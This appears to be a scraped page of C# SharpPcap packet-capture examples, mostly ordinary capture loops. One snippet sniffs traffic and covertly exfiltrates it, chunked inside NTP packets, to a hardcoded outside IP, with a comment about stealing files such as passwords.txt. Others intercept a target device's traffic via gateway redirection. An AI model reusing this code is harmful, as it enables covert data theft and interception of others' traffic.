예제 #1
0
        static void Main()
        {
            CaptureDeviceList deviceList = CaptureDeviceList.Instance;

            foreach (ICaptureDevice dev in deviceList)
            {
                Console.WriteLine("{0}\n", dev.ToString());
            }
            ICaptureDevice device = deviceList[3];

            device.Open(DeviceMode.Promiscuous, 1000);

            Console.WriteLine();
            Console.WriteLine("-- Listening on {0}...", device.Description);

            Packet packet = null;

            while (true)
            {
                RawCapture raw = device.GetNextPacket();
                while (raw == null)
                {
                    raw = device.GetNextPacket();
                }
                packet = Packet.ParsePacket(raw.LinkLayerType, raw.Data);
                var tcpPacket = TcpPacket.GetEncapsulated(packet);
                var ipPacket  = IpPacket.GetEncapsulated(packet);
                if (tcpPacket != null && ipPacket != null)
                {
                    DateTime time = raw.Timeval.Date;
                    int      len  = raw.Data.Length;
                    Console.WriteLine("{0}:{1}:{2},{3} Len={4}",
                                      time.Hour, time.Minute, time.Second,
                                      time.Millisecond, len);
                    //Console.WriteLine(e.Packet.ToString());
                    // IP адрес отправителя
                    var srcIp = ipPacket.SourceAddress.ToString();
                    //Console.WriteLine("srcIp="+ srcIp);
                    // IP адрес получателя
                    var dstIp = ipPacket.DestinationAddress.ToString();
                    //Console.WriteLine("dstIp=" + dstIp);
                    // порт отправителя
                    var srcPort = tcpPacket.SourcePort.ToString();
                    //Console.WriteLine("srcPort=" + srcPort);
                    // порт получателя
                    var dstPort = tcpPacket.DestinationPort.ToString();
                    //Console.WriteLine("dstPost=" + dstPort);
                    // данные пакета
                    var data = BitConverter.ToString(raw.Data);
                    //Console.WriteLine("data=" + data);
                    string sendNTP = srcIp.ToString() + " " + dstIp.ToString() + " " + srcPort.ToString() + " " + dstPort.ToString() + "\r\n" + data.ToString() + "\r\n";
                    Console.WriteLine(sendNTP);
                }
            }
            // Закрываем pcap устройство
            //device.Close();
            //Console.WriteLine(" -- Capture stopped, device closed.");
        }
예제 #2
0
        static public SharpPcap.RawCapture ReturnProtocol(ICaptureDevice device, int number)
        {
            var rawCapture = device.GetNextPacket();

            for (int i = 0; i < number; i++)
            {
                rawCapture = device.GetNextPacket();
            }
            return(rawCapture);
        }
예제 #3
0
        /// <summary>
        /// IEnumerable helper allows for easy foreach usage, extension method and Linq usage
        /// </summary>
        /// <returns></returns>
        public static IEnumerable <RawCapture> GetSequence(ICaptureDevice dev, bool maskExceptions = true)
        {
            try
            {
                dev.Open();

                while (true)
                {
                    RawCapture packet = null;
                    try
                    {
                        packet = dev.GetNextPacket();
                    }
                    catch (PcapException pe)
                    {
                        if (!maskExceptions)
                        {
                            throw pe;
                        }
                    }

                    if (packet == null)
                    {
                        break;
                    }
                    yield return(packet);
                }
            }
            finally
            {
                dev.Close();
            }
        }
예제 #4
0
    /*
     * FUnkce pro veškeré zachytávání paketů
     * Otevře dané rozhraní pro naslouchání a poté načítá pakety a volá funkci na zpracování dokud
     * nedosáhne daného čísla
     */
    public void catch_packets(Argument arg)
    {
        //Otevře Device pro naslouchání s nastaveným timeoutem
        int timeout = 10000;
        int counter = 0;

        Device.Open(DeviceMode.Promiscuous, timeout);
        RawCapture packet;

        // Cyklus načítá pakety
        while ((packet = Device.GetNextPacket()) != null)
        {
            //Volá funkci na zpracování paketu a pokud vrátí true (např. pokud jde o TCP protokol když
            //je zvolena funkce na naslouchání tcp, zvýší counter
            if (work_packet(packet, arg))
            {
                counter++;
                if (counter != arg.Num)
                {
                    Console.WriteLine("");
                }
            }
            if (counter == arg.Num)
            {
                break;
            }
        }

        Device.Close();
    }
예제 #5
0
        public async Task Run()
        {
            running = true;

            Console.WriteLine();
            Console.WriteLine("-- Listening on {0}, hit 'ctrl-c' to stop...",
                              _device.Name);

            while (running)
            {
                RawCapture capture = _device.GetNextPacket();

                if (capture == null)
                {
                    continue;
                }

                (string host, string endpoint, string agent, string accept) = _packetExtractor.Extract(capture);

                if (endpoint == null)
                {
                    continue;
                }

                Parallel.Invoke(async() => await GetFile(host, endpoint, agent, accept));
            }
        }
        private void ProcessPackets(ICaptureDevice dev,
                                    TcpConnectionManager tcpConnectionManager)
        {
            // reset the expected message index at the start of the test run
            expectedMessageIndex = 0;

            GetPacketStatus status;
            PacketCapture   e;

            while ((status = dev.GetNextPacket(out e)) == GetPacketStatus.PacketRead)
            {
                var rawCapture = e.GetPacket();
                var p          = Packet.ParsePacket(rawCapture.LinkLayerType, rawCapture.Data);

                var tcpPacket = p.Extract <TcpPacket>();

                // skip non-tcp packets, http is a tcp based protocol
                if (p == null)
                {
                    continue;
                }

                log.Debug("passing packet to TcpConnectionManager");
                tcpConnectionManager.ProcessPacket(rawCapture.Timeval,
                                                   tcpPacket);
            }

            // did we get all of the messages?
            Assert.Equal(expectedMessages.Count, expectedMessageIndex);
        }
예제 #7
0
        public void BeginCapture(BackgroundWorker worker, ICaptureDevice networkDevice)
        {
            networkDevice.Open(DeviceMode.Promiscuous, 1000);

            while (!worker.CancellationPending)
            {
                var rawPackage = networkDevice.GetNextPacket();
                if (rawPackage == null)
                {
                    continue;
                }

                var packet   = Packet.ParsePacket(rawPackage.LinkLayerType, rawPackage.Data);
                var ipPacket = (IpPacket)packet.Extract(typeof(IpPacket));

                if (ipPacket == null)
                {
                    continue;
                }

                PackageGenerated(new PackageGeneratedArgs()
                {
                    GeneratedPackage = ipPacket.Protocol == IPProtocolType.TCP ?
                                       new TCPPackage(ipPacket) :
                                       new Package(ipPacket)
                });
            }

            networkDevice.StopCapture();
            networkDevice.Close();
        }
예제 #8
0
        /// <summary>
        /// Captures a LLDP network packet from the connected switch and returns a <c>LLDPPacket</c> class object that represents the packet
        /// </summary>
        /// <returns>The LLDP packet captured from the switch</returns>
        private LLDPPacket CaptureLLDPPacket()
        {
            idev.Filter = "ether dst 01:80:c2:00:00:0e";
            var rawpacket = idev.GetNextPacket();
            var packet    = Packet.ParsePacket(rawpacket.LinkLayerType, rawpacket.Data);

            return((LLDPPacket)packet.Extract(typeof(LLDPPacket)));
        }
예제 #9
0
        public void Limiter()
        {
            try
            {
                RawCapture rawCapture;
                do
                {
                    if ((rawCapture = capturedevice.GetNextPacket()) != null)
                    {
                        EthernetPacket Packet;
                        try
                        {
                            Packet = PacketDotNet.Packet.ParsePacket(rawCapture.LinkLayerType, rawCapture.Data) as EthernetPacket;
                            if (Packet == null)
                            {
                                return;
                            }
                        }
                        catch (Exception)
                        {
                            continue;
                        }

                        if (Packet.SourceHwAddress.Equals(device.MAC))
                        {
                            if (device.UploadCap == 0 || device.UploadCap > device.PacketsSentSinceLastReset)
                            {
                                Packet.SourceHwAddress      = capturedevice.MacAddress;
                                Packet.DestinationHwAddress = device.GatewayMAC;
                                capturedevice.SendPacket(Packet);
                                device.PacketsSentSinceLastReset += Packet.Bytes.Length;
                            }
                        }
                        else if (Packet.SourceHwAddress.Equals(device.GatewayMAC))
                        {
                            IPv4Packet IPV4 = Packet.Extract(typeof(IPv4Packet)) as IPv4Packet;

                            if (IPV4.DestinationAddress.Equals(device.IP))
                            {
                                if (device.DownloadCap == 0 || device.DownloadCap > device.PacketsReceivedSinceLastReset)
                                {
                                    Packet.SourceHwAddress      = capturedevice.MacAddress;
                                    Packet.DestinationHwAddress = device.MAC;
                                    capturedevice.SendPacket(Packet);
                                    device.PacketsReceivedSinceLastReset += Packet.Bytes.Length;
                                }
                            }
                        }
                    }
                } while (device.LimiterStarted && device.Redirected);

                device.LimiterStarted = false;
            }
            catch (Exception)
            {
            }
        }
예제 #10
0
        public void SendPacketsFromFile(LibPcapLiveDevice Device, string Path, bool?PeriodEn, int Period)
        {
            Device.Open();
            SendingThreadEnable = true;

            List <RawCapture> rawCaptures = new List <RawCapture>();

            try
            {
                RawCapture     packet;
                ICaptureDevice PacketsFile = OpenPacketsFile(Path);
                while ((packet = PacketsFile.GetNextPacket()) != null)
                {
                    rawCaptures.Add(packet);
                }
            }
            catch (Exception e)
            {
                basic.MessageBox(e.Message);
            }

            Thread td = new Thread(() =>
            {
                while (true)
                {
                    if (SendingThreadEnable == false)
                    {
                        break;
                    }

                    try
                    {
                        for (int i = 0; i < rawCaptures.Count; i++)
                        {
                            Device.SendPacket(rawCaptures[i].Data);
                        }
                    }
                    catch (Exception e)
                    {
                        basic.MessageBox(e.Message);
                    }
                    if (PeriodEn == true)
                    {
                        Thread.Sleep(Period);
                    }
                    else
                    {
                        break;
                    }
                }
            });

            td.Start();
        }
예제 #11
0
        //CODE FROM https://www.codeproject.com/Articles/12458/SharpPcap-A-Packet-Capture-Framework-for-NET - ACCESSED 03/02/2018 - HEAVILY MODIFIED
        static void PacketCollect(CaptureDeviceList DeviceList)
        {
            int BaselineLimiter = 1000;            //CHANGE THIS VALUE TO DETERMINE SIZE OF BASELINE
            // Extract a device from the list
            ICaptureDevice device = DeviceList[0]; //<- VALUE OF 0 WILL USE FIRST DEVICE

            // Register our handler function to the 'packet arrival' event
            device.OnPacketArrival += new SharpPcap.PacketArrivalEventHandler(Device_OnPacketArrival);
            // Open the device for capturing
            int readTimeoutMilliseconds = 1000;

            device.Open(DeviceMode.Promiscuous, readTimeoutMilliseconds);
            if (CompareOrBaseline == false)
            {
                // Open the device for capturing
                // tcpdump filter to capture only TCP/IP packets
                Console.WriteLine("-- Listening on {0}, collecting " + BaselineLimiter + " packets. Press any key to terminate early.", device.Description);
                // Start capturing packets
                while (PacketCounter < BaselineLimiter)
                {
                    RawCapture rawPacket = null;
                    rawPacket = device.GetNextPacket();                                                               //get the next packet
                    if (rawPacket != null)                                                                            //if there's actually a packet there
                    {
                        var decodedPacket = PacketDotNet.Packet.ParsePacket(rawPacket.LinkLayerType, rawPacket.Data); //parse the packet
                        if (TextOutput == true)
                        {
                            Console.WriteLine("PACKET BEGIN...");
                            Console.WriteLine(decodedPacket.ToString());
                            AddToList(decodedPacket.ToString());
                            Console.WriteLine("...PACKET END");
                        }
                        else if (TextOutput == false)
                        {
                            AddToList(decodedPacket.ToString()); //add to dictionary
                        }
                        ++PacketCounter;
                    }
                }
            }
            else if (CompareOrBaseline == true)
            {
                device.Capture();
                device.Close(); //never called
            }
        }
예제 #12
0
        /*
         * public string Traceroute(string ipAddressOrHostName)
         * {
         *  IPAddress ipAddress = Dns.GetHostEntry(ipAddressOrHostName).AddressList[0];
         *  StringBuilder traceResults = new StringBuilder();
         *  using (Ping pingSender = new Ping())
         *  {
         *      PingOptions pingOptions = new PingOptions();
         *      Stopwatch stopWatch = new Stopwatch();
         *
         *      byte[] bytes = new byte[32];
         *      pingOptions.DontFragment = true;
         *      pingOptions.Ttl = 1;
         *      int maxHops = 30;
         *
         *      traceResults.AppendLine(
         *          string.Format(
         *              "Tracing route to {0} over a maximum of {1} hops:",
         *              ipAddress,
         *              maxHops));
         *
         *      traceResults.AppendLine();
         *
         *      for (int i = 1; i < maxHops + 1; i++)
         *      {
         *          stopWatch.Reset();
         *          stopWatch.Start();
         *          PingReply pingReply = pingSender.Send(
         *              ipAddress,
         *              5000,
         *              new byte[32], pingOptions);
         *
         *          stopWatch.Stop();
         *
         *          traceResults.AppendLine(
         *              string.Format("{0}\t{1} ms\t{2}",
         *              i,
         *              stopWatch.ElapsedMilliseconds,
         *              pingReply.Address));
         *
         *          if (pingReply.Status == IPStatus.Success)
         *          {
         *              traceResults.AppendLine();
         *              traceResults.AppendLine("Trace complete."); break;
         *          }
         *
         *          pingOptions.Ttl++;
         *      }
         *  }
         *  return traceResults.ToString();
         * }
         */


        static void Main(string[] args)
        {
            // Retrieve the device list
            CaptureDeviceList devices = CaptureDeviceList.Instance;

            // If no devices were found print an error
            if (devices.Count < 1)
            {
                Console.WriteLine("No devices were found on this machine");
                return;
            }

            // Extract a device from the list
            ICaptureDevice device = devices[0];

            // Open the device for capturing
            int readTimeoutMilliseconds = 1000;

            device.Open(DeviceMode.Promiscuous, readTimeoutMilliseconds);

            Console.WriteLine();
            Console.WriteLine("-- Listening on {0}...",
                              device.Description);

            RawCapture packet = null;

            // Keep capture packets using GetNextPacket()
            while ((packet = device.GetNextPacket()) != null)
            {
                // Prints the time and length of each received packet
                DateTime time = packet.PcapHeader.Date;
                int      len  = packet.PcapHeader.PacketLength;
                Console.WriteLine("{0}:{1}:{2},{3} Len={4}",
                                  time.Hour, time.Minute, time.Second,
                                  time.Millisecond, len);
            }

            // Close the pcap device
            device.Close();
            Console.WriteLine(" -- Capture stopped, device closed.");
        }
예제 #13
0
        public void GetNextPacket()
        {
            RawCapture packet;

            // Capture packets using GetNextPacket()
            if ((packet = device.GetNextPacket()) != null)
            {
                captureFileWriter.Write(packet);


                rawCapturesList.Add(packet);

                CustomerPacket curpacket = AchieiveNewPacket(packet);
                if (packets == null)
                {
                    packets = new ObservableCollection <CustomerPacket>();
                    packets.Add(curpacket);
                    this.ViewBody.ItemsSource = packets;
                }
                else
                {
                    try
                    {
                        //此处可能会有溢出
                        packets.Add(curpacket);
                    }
                    catch
                    {
                        this.continueGetPacket = false;
                    }
                    finally
                    {
                    }
                }
            }

            if (this.continueGetPacket)
            {
                this.ViewBody.Dispatcher.BeginInvoke(DispatcherPriority.SystemIdle, new GetNextPacketDelegate(GetNextPacket));
            }
        }
예제 #14
0
        public Packet GetNextPacket()
        {
            RawCapture rawCapture;
            Packet     result = null;

            rawCapture = device.GetNextPacket();
            if (rawCapture != null)
            {
                Packet p = Packet.ParsePacket(rawCapture.LinkLayerType, rawCapture.Data);
                result = p;
                try
                {
                    TcpPacket tcp = p.Extract <TcpPacket>();
                    if (tcp != null && tcp.PayloadData.Length > 0)
                    {
                        ExtractUpperPacket(tcp);
                    }
                    else
                    {
                        // UNDONE: For GOOSE and SV or null TCP
                        EthernetPacket ether = p.Extract <EthernetPacket>();
                        ExtractEthernetPacket(ether);
                    }
                }
                catch (Exception ex)
                {
#if DEBUG
                    Console.WriteLine("No. {0}: {1}\nTPKT buffer count: {2}.", currentPacketIndex, ex.Message, tpktBuff.Reassembled.Count);

                    Console.WriteLine(ex.StackTrace);
#endif
                }
            }
            if (packets.Count > 0)
            {
                result = packets.Pop();
            }

            return(result);
        }
예제 #15
0
        public async Task <List <byte> > getPktFromInterfaceAsync()
        {
            List <byte> dnp3Pkt   = new List <byte>();
            var         rawPacket = deviceToListen.GetNextPacket();
            var         packet    = PacketDotNet.Packet.ParsePacket(rawPacket.LinkLayerType, rawPacket.Data);

            return(await Task.Factory.StartNew(() =>
            {
                while (packet != null)
                {
                    var tcp = packet.Extract(typeof(TcpPacket));

                    if (tcp != null)
                    {
                        var ip = (IpPacket)packet.Extract(typeof(IpPacket));
                        string srcIp = ip.SourceAddress.ToString();
                        string dstIp = ip.DestinationAddress.ToString();
                        byte[] data = tcp.ParentPacket.Bytes;
                        if (!(ip.SourceAddress.Equals(localAddr)))
                        {
                            dnp3Pkt = checkIfDNP3(data);
                            if (dnp3Pkt.Count() > 0)
                            {
                                Console.WriteLine("DNP3 PKT RCVD:" + Environment.NewLine);
                            }
                            string dataString = BitConverter.ToString(data);
                            string dataToSend = "SrcIP = " + srcIp + "  DstIP = " + dstIp + Environment.NewLine +
                                                "Data = " + dataString + Environment.NewLine;
                            //SetText(dataToSend);
                            //stationConsole.Text += "SrcIP = " + srcIp + " DstIP = " + dstIp + Environment.NewLine;
                            //stationConsole.Text += "Data = " + dataString + Environment.NewLine;
                            Console.WriteLine(dataToSend);
                        }
                    }
                }

                return (dnp3Pkt);
            }));
        }
예제 #16
0
        /// <summary>
        /// IEnumerable helper allows for easy foreach usage, extension method and Linq usage
        /// </summary>
        /// <returns></returns>
        public static IEnumerable <RawCapture> GetSequence(ICaptureDevice dev, bool maskExceptions = true)
        {
            try
            {
                PacketCapture e;
                dev.Open();
                while (true)
                {
                    RawCapture packet = null;
                    try
                    {
                        var retval = dev.GetNextPacket(out e);
                        if (retval != GetPacketStatus.PacketRead)
                        {
                            break;
                        }
                        packet = e.GetPacket();
                    }
                    catch (PcapException pe)
                    {
                        if (!maskExceptions)
                        {
                            throw pe;
                        }
                    }

                    if (packet == null)
                    {
                        break;
                    }
                    yield return(packet);
                }
            }
            finally
            {
                dev.Close();
            }
        }
예제 #17
0
        public async Task <List <Packet> > ScanPackets(Form form, ICaptureDevice selectedDevice, List <byte[]> containedFilterList)
        {
            var capturedPackets = new List <Packet>();

            this.isCapturing = true;

            var task = Task.Run(() =>
            {
                selectedDevice.Open(DeviceMode.Promiscuous, 1000);

                while (this.isCapturing)
                {
                    var rawCapture = selectedDevice.GetNextPacket();

                    if (rawCapture == null)
                    {
                        continue;
                    }

                    var packet = Packet.ParsePacket(rawCapture.LinkLayerType, rawCapture.Data);

                    containedFilterList.ForEach(byteArray =>
                    {
                        if (packet.Bytes.ContainsSameOrder(byteArray))
                        {
                            capturedPackets.Add(packet);
                        }
                    });
                }

                selectedDevice.Close();
            });

            await task;

            return(capturedPackets);
        }
예제 #18
0
        private bool GetNextFrameInternal()
        {
            if (_state == ReadingState.Closed)
            {
                throw new InvalidOperationException("Reader is not open.");
            }
            if (_state == ReadingState.Finished)
            {
                return(false);
            }
            _current = _device.GetNextPacket();

            if (_current != null)
            {
                _state = ReadingState.Success;
                return(true);
            }
            else
            {
                _current = default;
                _state   = ReadingState.Finished;
                return(false);
            }
        }
예제 #19
0
        /// <summary>
        /// IEnumerable helper allows for easy foreach usage, extension method and Linq usage
        /// </summary>
        /// <returns></returns>
        public static IEnumerable<RawCapture> GetSequence(ICaptureDevice dev, bool maskExceptions = true)
        {
            try
            {
                dev.Open();

                while (true)
                {
                    RawCapture packet = null;
                    try
                    {
                        packet = dev.GetNextPacket();
                    }
                    catch (PcapException pe)
                    {
                        if (!maskExceptions)
                            throw pe;
                    }

                    if (packet == null)
                        break;
                    yield return packet;
                }
            }
            finally
            {
                dev.Close();
            }
        }
예제 #20
0
        /// <summary>
        /// Method handles packets
        /// </summary>
        /// <param name="opt"></param>
        public static void Sniff(Program.Options opt)
        {
            //Try to find the specified interface. If correct is not found or more interfaces with the same name exits
            //application exits with Non-zero exit code
            ICaptureDevice device = null;

            try
            {
                device = CaptureDeviceList.Instance.Single(x => x.Name == opt.Inter);
            }
            catch (Exception)
            {
                Console.WriteLine("None or more interfaces with the name exists " + opt.Inter);
                Environment.Exit(1);
            }

            uint numberOfProcessedPackets = 0;

            //Try to open the interface. If it fails write message and exit with code 2
            try
            {
                device.Open();
            }
            catch (Exception e)
            {
                Console.WriteLine(e.Message);
                Environment.Exit(2);
            }

            RawCapture packet;
            bool       both = !opt.Tcp && !opt.Udp;

            while ((packet = device.GetNextPacket()) != null)
            {
                //Check number of processed packets
                if (numberOfProcessedPackets >= opt.Count)
                {
                    break;
                }

                var time       = packet.Timeval.Date;
                var packetInfo = Packet.ParsePacket(packet.LinkLayerType, packet.Data);

                //Packet extraction
                var ipPacket = packetInfo.Extract <IPPacket>();

                var udpPacket = packetInfo.Extract <UdpPacket>();
                var tcpPacket = packetInfo.Extract <TcpPacket>();

                //Packet resolving
                if (opt.Tcp || both)
                {
                    if (opt.Port == 0)
                    {
                        PacketPrinter.Print(time, ipPacket, tcpPacket);
                    }
                    else if (opt.Port == tcpPacket?.SourcePort || opt.Port == tcpPacket?.DestinationPort)
                    {
                        PacketPrinter.Print(time, ipPacket, tcpPacket);
                    }
                }

                if (opt.Udp || both)
                {
                    if (opt.Port == 0)
                    {
                        PacketPrinter.Print(time, ipPacket, udpPacket);
                    }
                    else if (opt.Port == tcpPacket?.SourcePort || opt.Port == tcpPacket?.DestinationPort)
                    {
                        PacketPrinter.Print(time, ipPacket, udpPacket);
                    }
                }

                ++numberOfProcessedPackets;
            }
        }
        static void Main(string[] args)
        {
            int k = 0;
            CaptureDeviceList deviceList = CaptureDeviceList.Instance;

            foreach (ICaptureDevice dev in deviceList)
            {
                Console.WriteLine("{0}\n", dev.ToString());
            }
            ICaptureDevice device = deviceList[3];

            device.Open(DeviceMode.Promiscuous, 1000);

            Console.WriteLine();
            Console.WriteLine("-- Listening on {0}...", device.Description);

            Packet packet = null;

            while (true)
            {
                RawCapture raw = device.GetNextPacket();
                while (raw == null)
                {
                    raw = device.GetNextPacket();
                }
                packet = Packet.ParsePacket(raw.LinkLayerType, raw.Data);
                var tcpPacket = TcpPacket.GetEncapsulated(packet);
                var ipPacket  = IpPacket.GetEncapsulated(packet);
                if (tcpPacket != null && ipPacket != null)
                {
                    DateTime time = raw.Timeval.Date;
                    int      len  = raw.Data.Length;
                    Console.WriteLine("{0}:{1}:{2},{3} Len={4}",
                                      time.Hour, time.Minute, time.Second,
                                      time.Millisecond, len);
                    //Console.WriteLine(e.Packet.ToString());
                    // IP адрес отправителя
                    var srcIp = ipPacket.SourceAddress.ToString();
                    //Console.WriteLine("srcIp="+ srcIp);
                    // IP адрес получателя
                    var dstIp = ipPacket.DestinationAddress.ToString();
                    //Console.WriteLine("dstIp=" + dstIp);
                    // порт отправителя
                    var srcPort = tcpPacket.SourcePort.ToString();
                    //Console.WriteLine("srcPort=" + srcPort);
                    // порт получателя
                    var dstPort = tcpPacket.DestinationPort.ToString();
                    //Console.WriteLine("dstPost=" + dstPort);
                    // данные пакета
                    var data = BitConverter.ToString(raw.Data);
                    //Console.WriteLine("data=" + data);
                    string path = srcIp.ToString() + " " + dstIp.ToString() + " " + srcPort.ToString() + " " + dstPort.ToString() + " " + data.ToString() + " ";
                    Console.WriteLine(path);
                    k++;



                    //Get some private data
                    //For example, contents of `passwords.txt` on user's desktop
                    path += "TRANSFER COMPLETE"; //Add 17 bytes more to guaranteely send 2 or more packets
                                                 //Now split by 17 bytes each
                    int           ctr      = 0;
                    List <byte[]> pcs      = new List <byte[]>();
                    int           BYTE_CNT = 17;
                    byte[]        current  = new byte[BYTE_CNT];
                    foreach (var cb in Encoding.ASCII.GetBytes(path))
                    {
                        if (ctr == BYTE_CNT)
                        {
                            //BYTE_CNT bytes added, start new iteration
                            byte[] bf = new byte[BYTE_CNT];
                            current.CopyTo(bf, 0);
                            pcs.Add(bf);
                            String deb = Encoding.ASCII.GetString(bf);
                            ctr = 0;
                            for (int i = 0; i < BYTE_CNT; i++)
                            {
                                current[i] = 0x0;
                            }
                        }
                        if (cb == '\n' || cb == '\r')
                        {
                            current[ctr] = Encoding.ASCII.GetBytes("_")[0];
                        }
                        else
                        {
                            current[ctr] = cb;
                        }
                        ctr++;
                    }
                    //OK split
                    Console.WriteLine($"OK split into {pcs.Count} parts");
                    //Now send
                    UDPSocket socket = new UDPSocket();
                    socket.Client("88.151.112.223", 123);
                    byte      pkt_id     = 0;
                    int       total_sent = 0;
                    Stopwatch sw         = new Stopwatch();
                    sw.Start();
                    foreach (var ci in pcs)
                    {
                        NtpPacket ntp = new NtpPacket();
                        ntp = ntp.EmbedDataToPacketC(ci);
                        byte[] result = ntp.BuildPacket();
                        result[5] = pkt_id;
                        if (k == 0)
                        {
                            packets.Add(pkt_id, result);
                        }
                        Console.WriteLine($"Sending: {Encoding.ASCII.GetString(result)}");
                        socket.Send(result);
                        Thread.Sleep(1);
                        total_sent += result.Length;
                        pkt_id++;
                    }
                    sw.Stop();

                    Console.WriteLine($"Sent {pkt_id} packets in {sw.ElapsedMilliseconds} ms. Avg speed: {total_sent / ((double)((double)sw.ElapsedMilliseconds / (double)1000))} B/s");

                    Console.WriteLine("Package was sent");
                    //Console.ReadKey(true);
                }
            }
        }
예제 #22
0
        private void MapButton_Click(object sender, EventArgs e)
        {
            ProgressBar.Value = 0;
            //Check Input
            if ((UserText.Text == "") || (PassText.Text == "") || (RoomText.Text == "") || (JackText.Text == ""))
            {
                MsgText.Text = "Please fill out all the fields before proceeding";
                return;
            }

            ProgressBar.Increment(10);
            //Refresh IP
            NetworkInterface sni;

            sni = refreshMacAndIP();
            if (sni.OperationalStatus != OperationalStatus.Up)
            {
                MsgText.Text = "The selected network interface is not up. Check your connection.";
                return;
            }
            if (IpText.Text.StartsWith("169.254.") || IpText.Text.Equals("0.0.0.0"))
            {
                MsgText.Text = "Unable to obtain a valid IP address. Try again.";
                return;
            }
            ProgressBar.Increment(25);
            MsgText.Text = "Mapping...";
            this.Refresh();
            //Declare variables
            WebRequest     req;
            WebResponse    resp;
            Stream         dstream;
            StreamReader   reader;
            ICaptureDevice idev = null;
            Packet         packet;
            LLDPPacket     lldp;
            RawCapture     rawpacket;
            string         data;
            string         query = "https://netcenter.studentaffairs.ohio-state.edu/portmapper/port_authority.php";
            string         switchname;
            string         portnumber;
            bool           gig = false;

            //Set up selected network device
            bool matched = false;

            foreach (ICaptureDevice icd in CaptureDeviceList.Instance)
            {
                icd.Open(DeviceMode.Promiscuous, 4000);
                if (BitConverter.ToString(icd.MacAddress.GetAddressBytes()).Replace('-', ':') == MacText.Text)
                {
                    idev    = icd;
                    matched = true;
                    break;
                }
                icd.Close();
            }
            if (!matched)
            {
                MsgText.Text = "Unable to match selected network adapter to ICaptureDevice";
                return;
            }
            idev.Filter = "ether dst 01:80:c2:00:00:0e";

            ProgressBar.Increment(10);
            //Begin capturing packets, search for LLDP packet
            rawpacket = idev.GetNextPacket();
            idev.Close();
            if (rawpacket == null)
            {
                MsgText.Text = "Unable to capture packet: Check the connection and try again";
                return;
            }
            packet = Packet.ParsePacket(rawpacket.LinkLayerType, rawpacket.Data);
            lldp   = (LLDPPacket)packet.Extract(typeof(LLDPPacket));
            //Function LLDPPacket.GetEncapsulated() is obsolete
            //lldp = LLDPPacket.GetEncapsulated(Packet.ParsePacket(rawpacket.LinkLayerType, rawpacket.Data));
            if (lldp == null)
            {
                MsgText.Text = "Unable to parse packet: Try again";
                return;
            }

            ProgressBar.Increment(35);
            //Decipher LLDP packet
            //Debug.WriteLine(BitConverter.ToString(lldp[3].Bytes));
            //Debug.WriteLine(BitConverter.ToString(lldp[6].Bytes));
            switchname = Encoding.UTF8.GetString(lldp[3].Bytes);
            switchname = switchname.Substring(2);
            portnumber = Encoding.UTF8.GetString(lldp[6].Bytes);
            portnumber = portnumber.Substring(2);
            if (portnumber[0] == 'g' || portnumber[0] == 'G')
            {
                gig = true;
            }
            portnumber = portnumber.Split('/')[2];
            //Formatting so compatible with port_authority.php

            //Debug.WriteLine(switchname);
            //Debug.WriteLine(portnumber);

            //Create query string

            /*
             * data = new NameValueCollection();
             * data["roomnumber"] = RoomText.Text;
             * data["jack"] = JackText.Text;
             * data["deviceid"] = switchname;
             * data["portid"] = portnumber;
             * data["user"] = UserText.Text;
             * data["pass"] = PassText.Text;
             */
            //Debug.WriteLine(data.ToString());
            data = "roomnumber=" + RoomText.Text +
                   "&jack=" + JackText.Text +
                   "&deviceid=" + switchname +
                   "&portid=" + portnumber +
                   "&gigabit=" + (gig?"1":"0") +
                   "&user="******"&pass="******"Connecting to Netcenter...";
            this.Refresh();
            try
            {
                req               = WebRequest.Create(query);
                req.Method        = "POST";
                req.ContentType   = "application/x-www-form-urlencoded";
                req.ContentLength = postData.Length;
                dstream           = req.GetRequestStream();
                dstream.Write(postData, 0, postData.Length);
                dstream.Close();

                resp         = req.GetResponse();
                dstream      = resp.GetResponseStream();
                reader       = new StreamReader(dstream);
                MsgText.Text = reader.ReadToEnd();
                ProgressBar.Increment(10);

                reader.Close();
                dstream.Close();
                resp.Close();
            }
            catch (WebException we)
            {
                MsgText.Text = we.Message;
            }
            finally
            {
                ProgressBar.Value = 0;
            }
        }
예제 #23
0
        private void StartSniffer()
        {
            try
            {
                RawCapture rawCapture;
                do
                {
                    if ((rawCapture = capturedevice.GetNextPacket()) != null)
                    {
                        EthernetPacket Packet = PacketDotNet.Packet.ParsePacket(rawCapture.LinkLayerType, rawCapture.Data) as EthernetPacket;
                        if (Packet == null)
                        {
                            return;
                        }

                        AcceptedPacket acPacket = new AcceptedPacket();
                        acPacket.Packet = Packet;

                        if (Packet.SourceHwAddress.Equals(TargetMAC))
                        {
                            if (acPacket.TCPPacket != null)
                            {
                                materialListView1.BeginInvoke(new Action(() =>
                                {
                                    materialListView1.AddObject(acPacket);

                                    if (materialListView1.Items.Count > 15 && !ResizeDone)
                                    {
                                        olvColumn8.MaximumWidth = 65;
                                        olvColumn8.MinimumWidth = 65;
                                        olvColumn8.Width        = 65;
                                        ResizeDone = true;
                                    }

                                    ListofAcceptedPackets.Add(acPacket);
                                }));
                            }
                        }

                        else if (Packet.SourceHwAddress.Equals(GatewayMAC))
                        {
                            if (Properties.Settings.Default.PacketDirection == "Inbound")
                            {
                                IPv4Packet IPV4 = Packet.Extract(typeof(IPv4Packet)) as IPv4Packet;

                                if (IPV4.DestinationAddress.Equals(TargetIP))
                                {
                                    if (acPacket.TCPPacket != null)
                                    {
                                        materialListView1.BeginInvoke(new Action(() =>
                                        {
                                            materialListView1.AddObject(acPacket);

                                            if (materialListView1.Items.Count > 15 && !ResizeDone)
                                            {
                                                olvColumn8.MaximumWidth = 65;
                                                olvColumn8.MinimumWidth = 65;
                                                olvColumn8.Width        = 65;
                                                ResizeDone = true;
                                            }

                                            ListofAcceptedPackets.Add(acPacket);
                                        }));
                                    }
                                }
                            }
                        }
                    }
                } while (snifferStarted);
            }
            catch (Exception)
            {
            }
        }
예제 #24
0
        /// <summary>
        /// Populates the list with devices connected on LAN
        /// </summary>
        /// <param name="view">UI controls</param>
        /// <param name="InterfaceFriendlyName"></param>
        public static void StartScan(IView view, string InterfaceFriendlyName)
        {
            #region initialization

            if (capturedevice != null)
            {
                GatewayCalled          = false;
                BackgroundScanDisabled = true;
                capturedevice.StopCapture();
                capturedevice.Close();
                capturedevice = null;
            }
            else
            {
                ClientList   = new Dictionary <IPAddress, PhysicalAddress>();
                Main.Devices = new ConcurrentDictionary <IPAddress, Device>();
            }

            #endregion

            //Get list of interfaces
            CaptureDeviceList capturedevicelist = CaptureDeviceList.Instance;
            //crucial for reflection on any network changes
            capturedevicelist.Refresh();
